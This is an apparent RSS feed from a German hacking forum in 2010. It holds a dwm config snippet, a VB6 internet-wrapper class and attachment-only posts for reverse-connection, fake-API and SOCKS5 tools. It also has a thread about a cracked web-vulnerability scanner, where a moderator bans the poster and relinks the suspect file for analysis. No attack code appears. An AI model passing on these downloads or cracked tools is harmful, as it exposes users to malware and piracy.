&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tag,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.ui = ~0 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_comma,&nbsp;&nbsp; focusmon,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.i = -1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_period,&nbsp;&nbsp;focusmon,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.i = +1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_comma,&nbsp;&nbsp; tagmon,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.i = -1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_period,&nbsp;&nbsp;tagmon,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.i = +1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Left,&nbsp;&nbsp;&nbsp;&nbsp;cycle,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.i = -1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Right,&nbsp;&nbsp; cycle,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.i = +1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Up,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tagcycle,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.i = -1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Down,&nbsp;&nbsp;&nbsp;&nbsp;tagcycle,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.i = +1 } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_1,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_2,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_3,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_4,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_5,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_6,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_7,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_8,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7)<br />
&nbsp;&nbsp;&nbsp;&nbsp;TAGKEYS(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_9,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_q,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;quit,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
};<br />
<br />
/* button definitions */<br />
/* click can be ClkLtSymbol, ClkStatusText, ClkWinTitle, ClkClientWin, or ClkRootWin */<br />
static Button buttons[] = {<br />
&nbsp;&nbsp;&nbsp;&nbsp;/* click&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;event mask&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;button&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;argument */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkLtSymbol,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Button1,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setlayout,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkLtSymbol,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Button3,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setlayout,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = &amp;layouts[2]} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkWinTitle,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Button2,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;zoom,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkStatusText,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Button2,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = termcmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkClientWin,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Button1,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;movemouse,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkClientWin,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Button2,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;togglefloating, {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkClientWin,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Button3,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;resizemouse,&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkTagBar,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Button1,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;view,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkTagBar,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Button3,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;toggleview,&nbsp;&nbsp;&nbsp;&nbsp; {0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkTagBar,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Button1,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tag,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ ClkTagBar,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Button3,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;toggletag,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0} },<br />
};<br />
<br />
*/</code></div></div>
Man möge mir die Einrückung vergeben (Tabs und Leerzeichen gemischt)<br />
<br />
Unnötig (statuscolor patch)<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>static const char normbordercolor[] = "#d4d4d4";<br />
static const char normbgcolor[]&nbsp;&nbsp;&nbsp;&nbsp; = "#d4d4d4";<br />
static const char normfgcolor[]&nbsp;&nbsp;&nbsp;&nbsp; = "#000000";<br />
static const char selbordercolor[]&nbsp;&nbsp;= "#1751FF";<br />
static const char selbgcolor[]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= "#5a5a5a";<br />
static const char selfgcolor[]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= "#ffffff";</code></div></div>
<br />
Dann hf]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Acunetix WebVuln Scanner *New Build* Cracked]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3583</link>
			<pubDate>Mon, 26 Jul 2010 17:20:07 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3583</guid>
			<description><![CDATA[EDIT BY GUNNER:<br />
<br />
Falls jmd den Schrott noch zur Analyse haben will:<br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>http://uploaded.to/file/x8yn3y</code></div></div>
<br />
User banned.<br />
Over &amp; out.]]></description>
			<content:encoded><![CDATA[EDIT BY GUNNER:<br />
<br />
Falls jmd den Schrott noch zur Analyse haben will:<br />
<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>http://uploaded.to/file/x8yn3y</code></div></div>
<br />
User banned.<br />
Over &amp; out.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Controlleiste im Design]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3582</link>
			<pubDate>Mon, 26 Jul 2010 08:21:18 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3582</guid>
			<description><![CDATA[Ich weiß nicht ob das gewollst ist aber ich meine folgendes:<br />
<br />
<img src="http://s3.directupload.net/images/100726/v4w7wwg6.jpg" border="0" alt="[Bild: v4w7wwg6.jpg&#93;" /><br />
<br />
Ich wäre dafür diese auf width: 100% zu setzen und die Links nicht wie ein klumpen dort zusammen zu quetschen.]]></description>
			<content:encoded><![CDATA[Ich weiß nicht ob das gewollst ist aber ich meine folgendes:<br />
<br />
<img src="http://s3.directupload.net/images/100726/v4w7wwg6.jpg" border="0" alt="[Bild: v4w7wwg6.jpg]" /><br />
<br />
Ich wäre dafür diese auf width: 100% zu setzen und die Links nicht wie ein klumpen dort zusammen zu quetschen.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[VB6&#93; Reverse Connection]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3581</link>
			<pubDate>Mon, 26 Jul 2010 07:37:58 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3581</guid>
			<description><![CDATA[Download:<br />

<br /><img src="images/attachtypes/rar.gif" border="0" alt=".rar" />&nbsp;&nbsp;<a href="attachment.php?aid=178" target="_blank">Reverse Connection.rar</a> (Größe: 4041 / Downloads: 1)
]]></description>
			<content:encoded><![CDATA[Download:<br />

<br /><img src="images/attachtypes/rar.gif" border="0" alt=".rar" />&nbsp;&nbsp;<a href="attachment.php?aid=178" target="_blank">Reverse Connection.rar</a> (Größe: 4041 / Downloads: 1)
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[VB6&#93; FakeAPIs - Richtig nutzen]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3580</link>
			<pubDate>Mon, 26 Jul 2010 07:35:18 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3580</guid>
			<description><![CDATA[Download:<br />

<br /><img src="images/attachtypes/rar.gif" border="0" alt=".rar" />&nbsp;&nbsp;<a href="attachment.php?aid=177" target="_blank">FakeAPI.rar</a> (Größe: 2150 / Downloads: 2)
]]></description>
			<content:encoded><![CDATA[Download:<br />

<br /><img src="images/attachtypes/rar.gif" border="0" alt=".rar" />&nbsp;&nbsp;<a href="attachment.php?aid=177" target="_blank">FakeAPI.rar</a> (Größe: 2150 / Downloads: 2)
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[VB6&#93; Socks5 Server]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3579</link>
			<pubDate>Mon, 26 Jul 2010 07:31:58 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3579</guid>
			<description><![CDATA[Download:<br />

<br /><img src="images/attachtypes/zip.gif" border="0" alt=".zip" />&nbsp;&nbsp;<a href="attachment.php?aid=176" target="_blank">Socks 5.zip</a> (Größe: 3986 / Downloads: 4)
]]></description>
			<content:encoded><![CDATA[Download:<br />

<br /><img src="images/attachtypes/zip.gif" border="0" alt=".zip" />&nbsp;&nbsp;<a href="attachment.php?aid=176" target="_blank">Socks 5.zip</a> (Größe: 3986 / Downloads: 4)
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[VB6&#93; cInet Klasse (Winsock alternative)]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3578</link>
			<pubDate>Mon, 26 Jul 2010 07:29:59 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3578</guid>
			<description><![CDATA[<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Option Explicit<br />
<br />
Private Const INTERNET_OPEN_TYPE_PRECONFIG As Long = 0<br />
Private Const INTERNET_OPEN_TYPE_DIRECT As Long = 1<br />
Private Const INTERNET_OPEN_TYPE_PROXY As Long = 3<br />
Private Const INTERNET_FLAG_EXISTING_CONNECT = &amp;H20000000<br />
Private Const INTERNET_INVALID_PORT_NUMBER = 0<br />
Private Const INTERNET_SERVICE_FTP = 1<br />
<br />
Private Const FTP_TRANSFER_TYPE_BINARY = &amp;H0<br />
<br />
Private Const ICU_DECODE As Long = &amp;H10000000<br />
<br />
Private Const GENERIC_READ As Long = &amp;H80000000<br />
<br />
<br />
Public Enum icDataTypes<br />
&nbsp;&nbsp;&nbsp;&nbsp;icString = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;icByteArray = 1<br />
End Enum<br />
<br />
Public Enum icAccessTypes<br />
&nbsp;&nbsp;&nbsp;&nbsp;icDirect = INTERNET_OPEN_TYPE_DIRECT<br />
&nbsp;&nbsp;&nbsp;&nbsp;icNamedProxy = INTERNET_OPEN_TYPE_PROXY<br />
&nbsp;&nbsp;&nbsp;&nbsp;icUseDefault = INTERNET_OPEN_TYPE_PRECONFIG<br />
End Enum<br />
<br />
Public Enum icProtocols<br />
&nbsp;&nbsp;&nbsp;&nbsp;icUnknown = 0<br />
&nbsp;&nbsp;&nbsp;&nbsp;icDefault = 1<br />
&nbsp;&nbsp;&nbsp;&nbsp;icFTP = 2<br />
&nbsp;&nbsp;&nbsp;&nbsp;icReserved = 3<br />
&nbsp;&nbsp;&nbsp;&nbsp;icHTTP = 4<br />
&nbsp;&nbsp;&nbsp;&nbsp;icHTTPS = 5<br />
End Enum<br />
<br />
Private Type URL_COMPONENTS<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwStructSize As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpszScheme As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwSchemeLength As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;nScheme As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpszHostName As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwHostNameLength As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;nPort As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpszUserName As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwUserNameLength As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpszPassword As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwPasswordLength As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpszUrlPath As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwUrlPathLength As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpszExtraInfo As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;dwExtraInfoLength As Long<br />
End Type<br />
<br />
Private Declare Sub InternetCanonicalizeUrl Lib "wininet.dll" Alias "InternetCanonicalizeUrlA" (ByVal lpszUrl As String, ByVal lpszBuffer As String, ByRef lpdwBufferLength As Long, ByVal dwFlags As Long)<br />
Private Declare Function InternetOpenUrl Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternet As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByRef dwContext As Long) As Long<br />
Private Declare Function InternetQueryDataAvailable Lib "wininet.dll" (ByVal hFile As Long, ByRef lpdwNumberOfBytesAvailable As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean<br />
Private Declare Function InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToRead As Long, ByRef lpdwNumberOfBytesRead As Long) As Integer<br />
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInternet As Long) As Integer<br />
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal lpszAgent As String, ByVal dwAccessType As Long, ByVal lpszProxy As String, ByVal lpszProxyBypass As String, ByVal dwFlags As Long) As Long<br />
Private Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As Long<br />
Private Declare Function InternetCrackUrl Lib "wininet.dll" Alias "InternetCrackUrlA" (ByVal lpszUrl As String, ByVal dwUrlLength As Long, ByVal dwFlags As Long, ByRef lpUrlComponents As URL_COMPONENTS) As Boolean<br />
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUsername As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long<br />
Private Declare Function FtpOpenFile Lib "wininet.dll" Alias "FtpOpenFileA" (ByVal hFTPSession As Long, ByVal sBuff As String, ByVal Access As Long, ByVal Flags As Long, ByVal Context As Long) As Long<br />
Private Declare Function DeleteUrlCacheEntry Lib "wininet.dll" Alias "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long<br />
<br />
Private hInternetSession As Long<br />
Private hFTPSession As Long<br />
Private lResponseCode As Long<br />
Private sResponseInfo As String<br />
Private bBusy As Boolean<br />
Private eProtocol As icProtocols<br />
Private sRemoteHost As String<br />
Private sURL As String<br />
Private bCancel As Boolean<br />
Private hRemoteFile As Long<br />
<br />
Public AccessType As icAccessTypes<br />
Public Proxy As String<br />
Public UserName As String<br />
Public Password As String<br />
Public Tag As String<br />
Public RemotePort As Long<br />
<br />
Public Event StateChanged(ByVal State As Integer)<br />
<br />
'-----------------------------------------------------------<br />
' FUNCTION: OpenURL<br />
'<br />
' Gibt den Inhalt der angebenen URL zurück<br />
'-----------------------------------------------------------<br />
Public Function OpenURL(sURL As String, DataType As icDataTypes) As Variant<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim hRemoteFile As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim Result As Long, mBuffer As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim mRead As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim lpBuffer As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim m_ByteArray() As Byte<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim mToCopy As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;bBusy = True<br />
&nbsp;&nbsp;&nbsp;&nbsp;If sURL &lt;&gt; "" Then URL = sURL<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Connect Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpBuffer = Len(URL)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If InStr(URL, "://") &lt; 1 Then URL = GetProtocolStr &amp; URL<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DeleteUrlCacheEntry URL<br />
